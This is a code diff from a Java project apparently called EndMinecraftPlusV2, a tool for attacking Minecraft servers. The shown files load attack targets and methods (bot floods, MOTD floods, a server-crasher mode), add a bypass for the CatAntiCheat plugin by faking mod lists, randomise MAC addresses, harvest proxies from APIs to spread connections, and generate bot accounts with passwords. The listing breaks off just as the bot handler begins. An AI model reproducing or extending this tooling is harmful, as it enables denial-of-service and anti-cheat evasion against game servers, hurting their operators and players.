ProxyFile = new File(config.getString("Proxy.File"));
|
||||
ProxyAPIs = config.getStringList("Proxy.APIs");
|
||||
SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy");
|
||||
ForgeSupport = config.getBoolean("AdvancedSettings.ForgeSupport.Enable");
|
||||
ReadFromFiles = config.getBoolean("AdvancedSettings.ForgeSupport.ReadFromFiles");
|
||||
|
||||
if (ForgeSupport) {
|
||||
ForgeModList = new HashMap<>();
|
||||
if (ReadFromFiles) {
|
||||
ForgeModList.putAll(readModInfo("mods"));
|
||||
}
|
||||
for (String modInfo:config.getStringList("AdvancedSettings.ForgeSupport.ModList")) {
|
||||
String modName = modInfo.split(":")[0];
|
||||
String modVersion = modInfo.split(":")[1];
|
||||
ForgeModList.put(modName, modVersion);
|
||||
}
|
||||
LogUtil.doLog(0, "当前载入的Mods: ", "ForgeSupport");
|
||||
LogUtil.doLog(0, ForgeModList.toString(), "ForgeSupport");
|
||||
}
|
||||
|
||||
CatAntiCheat = config.getBoolean("AdvancedSettings.CatAntiCheat.Enable");
|
||||
|
||||
if (CatAntiCheat) {
|
||||
CACCustomScreenShot = new File(config.getString("AdvancedSettings.CatAntiCheat.CustomScreenShot"));
|
||||
CACLoadedClass = config.getStringList("AdvancedSettings.CatAntiCheat.LoadedClass");
|
||||
CACLoadedMods = new File(config.getString("AdvancedSettings.CatAntiCheat.LoadedMods"));
|
||||
|
||||
if (!CACCustomScreenShot.exists()) {
|
||||
LogUtil.doLog(1, "CustomScreenShot不存在,CatAntiCheat相关功能已关闭。", null);
|
||||
CatAntiCheat = false;
|
||||
}
|
||||
|
||||
if (CACLoadedClass.isEmpty()) {
|
||||
LogUtil.doLog(1, "LoadedClass为空,CatAntiCheat相关功能已关闭。", null);
|
||||
CatAntiCheat = false;
|
||||
}
|
||||
|
||||
if (Objects.requireNonNull(CACLoadedMods.listFiles()).length <= 5) {
|
||||
LogUtil.doLog(1, "LoadedMods数量不足(<=5),CatAntiCheat相关功能已关闭。", null);
|
||||
CatAntiCheat = false;
|
||||
}
|
||||
|
||||
if (!ForgeSupport) {
|
||||
LogUtil.doLog(1, "ForgeSupport未开启,CatAntiCheat相关功能已关闭。", null);
|
||||
CatAntiCheat = false;
|
||||
} else {
|
||||
ForgeModList.put("catanticheat", "1.2.6");
|
||||
}
|
||||
}
|
||||
|
||||
RandomMAC = config.getBoolean("AdvancedSettings.MACChecker.RandomMAC");
|
||||
ServerCrasherMode = config.getInt("AdvancedSettings.ServerCrasher.Mode");
|
||||
ServerCrasherPacketDelay = config.getLong("AdvancedSettings.ServerCrasher.PacketDelay");
|
||||
|
||||
checkSRV();
|
||||
|
||||
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||
LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
|
||||
LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
|
||||
LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
|
||||
LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
|
||||
LogUtil.doLog(0, "Forge支持: " + booleanToStr(ForgeSupport), "CFGUtil");
|
||||
LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
|
||||
LogUtil.doLog(0, "CatAntiCheat绕过: " + booleanToStr(CatAntiCheat), "CFGUtil");
|
||||
LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
|
||||
LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
|
||||
LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||
LogUtil.emptyLog();
|
||||
} catch (Exception e) {
|
||||
LogUtil.emptyLog();
|
||||
LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
|
||||
LogUtil.doLog(-1, "配置可能存在编码问题,是否尝试转换编码以解决问题? [y/n]:", "CFGUtil");
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
if (scanner.nextLine().contains("y")) {
|
||||
String currentCharset = getFileCharset(configFile);
|
||||
|
||||
File tempConfigFile = new File("config_temp.yml");
|
||||
|
||||
switch (currentCharset) {
|
||||
case "GBK":
|
||||
if (0 == convertFileCharset(configFile, tempConfigFile, currentCharset, "UTF-8")) {
|
||||
return 0;
|
||||
}
|
||||
break;
|
||||
case "UTF-8":
|
||||
default:
|
||||
if (0 == convertFileCharset(configFile, tempConfigFile, currentCharset, "GBK")) {
|
||||
return 0;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (configFile.delete()) {
|
||||
tempConfigFile.renameTo(configFile);
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "任务完成。转换前编码: " + currentCharset + " | 转换后编码: " + getFileCharset(configFile) , "CFGUtil");
|
||||
}
|
||||
|
||||
loadConfig(cfgVer);
|
||||
}
|
||||
|
||||
if (!(cfgVer == CfgVer)) {
|
||||
LogUtil.doLog(1, "载入配置文件失败! 配置文件版本不匹配,请前往发布页更新配置文件。", null);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
public static String getFileCharset(File file) {
|
||||
String charset = "GBK";
|
||||
|
||||
byte[] first3Bytes = new byte[3];
|
||||
|
||||
try {
|
||||
boolean checked = false;
|
||||
BufferedInputStream bis = new BufferedInputStream(Files.newInputStream(file.toPath()));
|
||||
bis.mark(100);
|
||||
|
||||
int read = bis.read(first3Bytes, 0, 3);
|
||||
|
||||
if (read == -1) {
|
||||
bis.close();
|
||||
return charset; // 文件编码为 ANSI
|
||||
} else if (first3Bytes[0] == (byte) 0xFF && first3Bytes[1] == (byte) 0xFE) {
|
||||
charset = "UTF-16LE"; // 文件编码为 Unicode
|
||||
checked = true;
|
||||
} else if (first3Bytes[0] == (byte) 0xFE && first3Bytes[1] == (byte) 0xFF) {
|
||||
charset = "UTF-16BE"; // 文件编码为 Unicode big endian
|
||||
checked = true;
|
||||
} else if (first3Bytes[0] == (byte) 0xEF && first3Bytes[1] == (byte) 0xBB
|
||||
&& first3Bytes[2] == (byte) 0xBF) {
|
||||
charset = "UTF-8"; // 文件编码为 UTF-8
|
||||
checked = true;
|
||||
}
|
||||
|
||||
bis.reset();
|
||||
|
||||
if (!checked) {
|
||||
while ((read = bis.read()) != -1) {
|
||||
if (read >= 0xF0)
|
||||
break;
|
||||
if (0x80 <= read && read <= 0xBF)
|
||||
break;
|
||||
if (0xC0 <= read && read <= 0xDF) {
|
||||
read = bis.read();
|
||||
if (!(0x80 <= read && read <= 0xBF)) {
|
||||
break;
|
||||
}
|
||||
} else if (0xE0 <= read) {
|
||||
read = bis.read();
|
||||
if (0x80 <= read && read <= 0xBF) {
|
||||
read = bis.read();
|
||||
if (0x80 <= read && read <= 0xBF) {
|
||||
charset = "UTF-8";
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
bis.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return charset;
|
||||
}
|
||||
|
||||
public static int convertFileCharset(File inputFile, File outputFile,String currentCharset ,String targetCharset) {
|
||||
try {
|
||||
InputStreamReader isr = new InputStreamReader(Files.newInputStream(inputFile.toPath()) ,currentCharset);
|
||||
OutputStreamWriter osw = new OutputStreamWriter(Files.newOutputStream(outputFile.toPath()) ,targetCharset);
|
||||
|
||||
int len;
|
||||
while((len = isr.read())!=-1){
|
||||
osw.write(len);
|
||||
}
|
||||
|
||||
osw.close();
|
||||
isr.close();
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "转换文件编码时发生错误! 详细信息: " + e, null);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
public static String getAttackMethod(int type) {
|
||||
switch (type) {
|
||||
case 1:
|
||||
return "BotAttack";
|
||||
case 2:
|
||||
return "MotdAttack";
|
||||
case 3:
|
||||
return "MotdAttackP";
|
||||
case 4:
|
||||
return "DoubleAttack";
|
||||
case 5:
|
||||
return "BotDebug";
|
||||
default:
|
||||
return "Error";
|
||||
}
|
||||
}
|
||||
|
||||
public static String getProxyFrom(int type) {
|
||||
switch (type) {
|
||||
case 1:
|
||||
return "API";
|
||||
case 2:
|
||||
return "File";
|
||||
case 3:
|
||||
return "API + File";
|
||||
default:
|
||||
return "Error";
|
||||
}
|
||||
}
|
||||
|
||||
public static String booleanToStr(boolean type) {
|
||||
return type ? "开启" : "关闭";
|
||||
}
|
||||
|
||||
public static Double timeToSeconds(long time) {
|
||||
return (double) time / 1000;
|
||||
}
|
||||
|
||||
public static void checkSRV() {
|
||||
Hashtable<String, String> hashtable = new Hashtable<>();
|
||||
hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
|
||||
hashtable.put("java.naming.provider.url", "dns:");
|
||||
|
||||
try {
|
||||
Attribute attribute = (new InitialDirContext(hashtable))
|
||||
.getAttributes("_Minecraft._tcp." + AttackAddress,
|
||||
new String[]{"SRV"})
|
||||
.get("srv");
|
||||
if (attribute != null) {
|
||||
String[] re = attribute.get().toString().split(" ", 4);
|
||||
LogUtil.doLog(0, "=============================================================", "CheckSRV");
|
||||
LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
|
||||
LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
|
||||
LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
|
||||
LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV");
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
String cmd = scanner.nextLine();
|
||||
|
||||
if (cmd.equals("y")) {
|
||||
AttackAddress = re[3];
|
||||
AttackPort = Integer.parseInt(re[2]);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static HashMap<String, String> readModInfo(String directoryPath) {
|
||||
HashMap<String, String> modInfoMap = new HashMap<>();
|
||||
|
||||
try (Stream<Path> paths = Files.walk(Paths.get(directoryPath))) {
|
||||
paths.forEach(filePath -> {
|
||||
if (Files.isRegularFile(filePath) && filePath.toString().endsWith(".jar")) {
|
||||
try (JarFile jarFile = new JarFile(filePath.toFile())) {
|
||||
JarEntry entry = jarFile.getJarEntry("mcmod.info");
|
||||
if (entry != null) {
|
||||
try (BufferedReader reader = new BufferedReader(new InputStreamReader(jarFile.getInputStream(entry)))) {
|
||||
String line;
|
||||
StringBuilder jsonString = new StringBuilder();
|
||||
while ((line = reader.readLine()) != null) {
|
||||
jsonString.append(line);
|
||||
}
|
||||
extractModInfo(jsonString.toString(), modInfoMap);
|
||||
}
|
||||
}
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
|
||||
}
|
||||
return modInfoMap;
|
||||
}
|
||||
|
||||
private static void extractModInfo(String jsonContent, HashMap<String, String> modInfoMap) {
|
||||
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
|
||||
try {
|
||||
String script = "Java.asJSONCompatible(" + jsonContent + ")";
|
||||
Object result = engine.eval(script);
|
||||
if (result instanceof java.util.List) {
|
||||
java.util.List<?> resultList = (java.util.List<?>) result;
|
||||
for (Object obj : resultList) {
|
||||
if (obj instanceof java.util.Map) {
|
||||
java.util.Map<?, ?> map = (java.util.Map<?, ?>) obj;
|
||||
Object modid = map.get("modid");
|
||||
Object version = map.get("version");
|
||||
if (modid != null && version != null) {
|
||||
modInfoMap.put(modid.toString(), version.toString());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (ScriptException e) {
|
||||
LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
109
Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
Normal file
109
Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
Normal file
@ -0,0 +1,109 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class DataUtil {
|
||||
public static boolean notModify = false;
|
||||
public static List<String> botRegPasswords;
|
||||
public static HashMap<String,String> botRegPasswordsMap = new HashMap<>();
|
||||
|
||||
public static void loadData() {
|
||||
File dataFile = new File("data.yml");
|
||||
|
||||
if (dataFile.exists()) {
|
||||
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||
botRegPasswords = data.getStringList("Data");
|
||||
botRegPasswords.remove("");
|
||||
|
||||
String lastBotName = data.getString("LastBotName");
|
||||
Integer lastRandomFlag = data.getInt("LastRandomFlag");
|
||||
String lastRandomLength = data.getString("LastRandomLength");
|
||||
|
||||
boolean needReset;
|
||||
|
||||
needReset = !ConfigUtil.BotName.equals(lastBotName) || !ConfigUtil.RandomFlag.equals(lastRandomFlag) || !(ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength).equals(lastRandomLength);
|
||||
|
||||
if (lastBotName != null && needReset) {
|
||||
LogUtil.doLog(-1, "检测到BotName已被修改,是否重置数据文件以使更改生效? [y/n]:", "DataUtil");
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
if (scanner.nextLine().contains("y")) {
|
||||
if (dataFile.delete()) {
|
||||
LogUtil.doLog(0, "数据文件已成功重置。", "DataUtil");
|
||||
} else {
|
||||
LogUtil.doLog(0, "修改数据文件时出错,操作成功未完成。", "DataUtil");
|
||||
}
|
||||
LogUtil.emptyLog();
|
||||
loadData();
|
||||
return;
|
||||
}
|
||||
|
||||
notModify = true;
|
||||
LogUtil.emptyLog();
|
||||
}
|
||||
} else {
|
||||
botRegPasswords = new ArrayList<>();
|
||||
}
|
||||
|
||||
if (botRegPasswords.size() < ConfigUtil.BotCount) {
|
||||
int count = ConfigUtil.BotCount - botRegPasswords.size();
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
String newBotName;
|
||||
|
||||
switch (ConfigUtil.RandomFlag) {
|
||||
case 2:
|
||||
newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Ili(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
|
||||
break;
|
||||
case 3:
|
||||
newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Abc(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
|
||||
break;
|
||||
case 4:
|
||||
newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_123(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
|
||||
break;
|
||||
}
|
||||
|
||||
String newBotPwd = OtherUtils.getRandomString(8,10);
|
||||
botRegPasswords.add(newBotName + "@" + newBotPwd);
|
||||
}
|
||||
}
|
||||
|
||||
for (String PwdData:botRegPasswords) {
|
||||
try {
|
||||
String[] aPwdData = PwdData.split("@");
|
||||
botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
updateData(botRegPasswords);
|
||||
}
|
||||
|
||||
public static void updateData(List<String> dataList) {
|
||||
File dataFile = new File("data.yml");
|
||||
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||
|
||||
data.set("Data", dataList);
|
||||
|
||||
if (!notModify) {
|
||||
data.set("LastBotName", ConfigUtil.BotName);
|
||||
data.set("LastRandomFlag", ConfigUtil.RandomFlag);
|
||||
data.set("LastRandomLength", ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength);
|
||||
}
|
||||
|
||||
try {
|
||||
data.save(dataFile);
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,38 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
|
||||
public class HTTPUtil {
|
||||
public static String sendGet(String url) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
BufferedReader in = null;
|
||||
try {
|
||||
URL realUrl = new URL(url);
|
||||
URLConnection connection = realUrl.openConnection();
|
||||
connection.setRequestProperty("accept", "*/*");
|
||||
connection.setRequestProperty("connection", "Keep-Alive");
|
||||
connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
|
||||
connection.connect();
|
||||
|
||||
in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
|
||||
String line;
|
||||
while ((line = in.readLine()) != null) {
|
||||
result.append(line);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null);
|
||||
} finally {
|
||||
try {
|
||||
if (in != null) {
|
||||
in.close();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "IO异常! 详细信息: " + e, null);
|
||||
}
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
public class LogUtil {
|
||||
public static void doLog(int type, String content, String extra) {
|
||||
String logType;
|
||||
String msg;
|
||||
|
||||
switch (type) {
|
||||
case 1:
|
||||
logType = "[Internal Error]";
|
||||
break;
|
||||
case 2:
|
||||
logType = "[Attack Error]";
|
||||
break;
|
||||
case 3:
|
||||
logType = "[DEBUG]";
|
||||
break;
|
||||
default:
|
||||
logType = "[" + extra + "]";
|
||||
}
|
||||
|
||||
msg = logType + " " + content;
|
||||
|
||||
if (type == -1) {
|
||||
System.out.print(msg);
|
||||
} else {
|
||||
System.out.println(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public static void emptyLog() {
|
||||
System.out.println();
|
||||
}
|
||||
}
|
@ -0,0 +1,99 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Random;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
public class OtherUtils {
|
||||
public static void doSleep(long millis) {
|
||||
try {
|
||||
Thread.sleep(millis);
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static Matcher matches(String str, String regex) {
|
||||
Pattern mPattern = Pattern.compile(regex);
|
||||
return mPattern.matcher(str);
|
||||
}
|
||||
|
||||
public static String getRandomString(int minLength, int maxLength) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
Random random = new Random();
|
||||
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(62);
|
||||
stringBuilder.append(str.charAt(number));
|
||||
}
|
||||
return stringBuilder.toString();
|
||||
}
|
||||
|
||||
public static String getRandomString_Ili(int minLength, int maxLength) {
|
||||
String str = "Ili";
|
||||
Random random = new Random();
|
||||
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(3);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomString_Abc(int minLength, int maxLength) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
Random random = new Random();
|
||||
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomString_123(int minLength, int maxLength) {
|
||||
String str = "1234567890";
|
||||
Random random = new Random();
|
||||
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(10);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static Integer getRandomInt(int min, int max) {
|
||||
return (int)(Math.random()*(max-min+1)+min);
|
||||
}
|
||||
|
||||
public static float getRandomFloat(double min, double max) {
|
||||
return (float) (Math.random()*(max-min)+min);
|
||||
}
|
||||
|
||||
public static String getRandomUser(boolean isDoubleAttack) {
|
||||
if (isDoubleAttack) {
|
||||
return ConfigUtil.DoubleExploitPlayer + "@12345678Aa!";
|
||||
}
|
||||
|
||||
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
|
||||
}
|
||||
|
||||
public static void loadLibrary(File file) {
|
||||
try {
|
||||
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
|
||||
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||
method.setAccessible(true);
|
||||
method.invoke(cl, file.toURL());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,129 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ProxyUtil {
|
||||
public static Date runTime;
|
||||
public static ConcurrentHashMap<String, String> proxies = new ConcurrentHashMap<>();
|
||||
public static ConcurrentHashMap<Proxy, String> workingProxiesList = new ConcurrentHashMap<>();
|
||||
|
||||
public static void getProxies() {
|
||||
String getMethod;
|
||||
|
||||
switch (ConfigUtil.ProxyGetType) {
|
||||
case 2:
|
||||
getMethod = "通过本地文件获取";
|
||||
getProxiesFromFile(true);
|
||||
break;
|
||||
case 3:
|
||||
getMethod = "通过API+本地文件获取";
|
||||
getProxiesFromFile(true);
|
||||
getProxiesFromAPIs(false);
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
getMethod = "通过API获取";
|
||||
getProxiesFromAPIs(true);
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
LogUtil.emptyLog();
|
||||
}
|
||||
|
||||
public static void getProxiesFromAPIs(boolean replace) {
|
||||
if (replace) {
|
||||
proxies = new ConcurrentHashMap<>();
|
||||
}
|
||||
|
||||
for (String url : ConfigUtil.ProxyAPIs) {
|
||||
String ips = HTTPUtil.sendGet(url);
|
||||
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||
while (matcher.find()) {
|
||||
String ip = matcher.group();
|
||||
|
||||
if (!proxies.containsKey(ip)) {
|
||||
proxies.put(ip, "");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void getProxiesFromFile(boolean replace) {
|
||||
try {
|
||||
if (!ConfigUtil.ProxyFile.exists()) {
|
||||
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
|
||||
return;
|
||||
}
|
||||
|
||||
BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
|
||||
String tempString;
|
||||
|
||||
if (replace) {
|
||||
proxies = new ConcurrentHashMap<>();
|
||||
}
|
||||
|
||||
while ((tempString = reader.readLine()) != null) {
|
||||
if (!proxies.containsKey(tempString)) {
|
||||
proxies.put(tempString, "");
|
||||
}
|
||||
}
|
||||
|
||||
reader.close();
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
|
||||
}
|
||||
}
|
||||
|
||||
public static void runUpdateProxiesTask(int time) {
|
||||
new Thread(() -> {
|
||||
while (true) {
|
||||
OtherUtils.doSleep(time * 1000L);
|
||||
|
||||
switch (ConfigUtil.ProxyGetType) {
|
||||
case 1:
|
||||
getProxiesFromAPIs(true);
|
||||
LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
break;
|
||||
case 2:
|
||||
getProxiesFromFile(true);
|
||||
LogUtil.doLog(0, "代理更新完毕! (通过本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
break;
|
||||
case 3:
|
||||
getProxiesFromFile(true);
|
||||
getProxiesFromAPIs(false);
|
||||
LogUtil.doLog(0, "代理更新完毕! (通过API+本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
public static void saveWorkingProxy(Proxy proxy) {
|
||||
if (runTime == null) {
|
||||
runTime = new Date();
|
||||
}
|
||||
|
||||
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd_hh-mm-ss");
|
||||
File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt");
|
||||
InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();
|
||||
|
||||
if (!workingProxiesList.containsKey(proxy)) {
|
||||
try {
|
||||
FileWriter fileWriter = new FileWriter(workingProxies, true);
|
||||
String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", "");
|
||||
fileWriter.write(proxyAddress);
|
||||
fileWriter.close();
|
||||
workingProxiesList.put(proxy, "");
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,10 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import com.sun.jna.Library;
|
||||
import com.sun.jna.Native;
|
||||
import com.sun.jna.Platform;
|
||||
|
||||
public interface SetTitle extends Library {
|
||||
SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
|
||||
boolean SetConsoleTitleA(String title);
|
||||
}
|
22
VersionFactory/VersionFactory.iml
Normal file
22
VersionFactory/VersionFactory.iml
Normal file
@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/jna-5.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,25 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public interface BotHandler {
|
||||
Object createClient(Proxy proxy, String userName);
|
||||
|
||||
Object createClientLocal(String userName);
|
||||
|
||||
void connect(Object client, Proxy proxy);
|
||||
|
||||
void disconnect(Object client);
|
||||
|
||||
void connectLocal(Object client);
|
||||
|
||||
boolean checkClientStatus(Object client);
|
||||
|
||||
String getClientDisconnectMsg(Object client);
|
||||
|
||||
boolean hasClientFlag(Object client, String flag);
|
||||
|
||||
void setClientFlag(Object client, String flag);
|
||||
|
||||
void setClientTimeout(Object client, long timeout);
|
||||
}
|
@ -0,0 +1,383 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||
|
||||
import java.net.Proxy;
|
||||
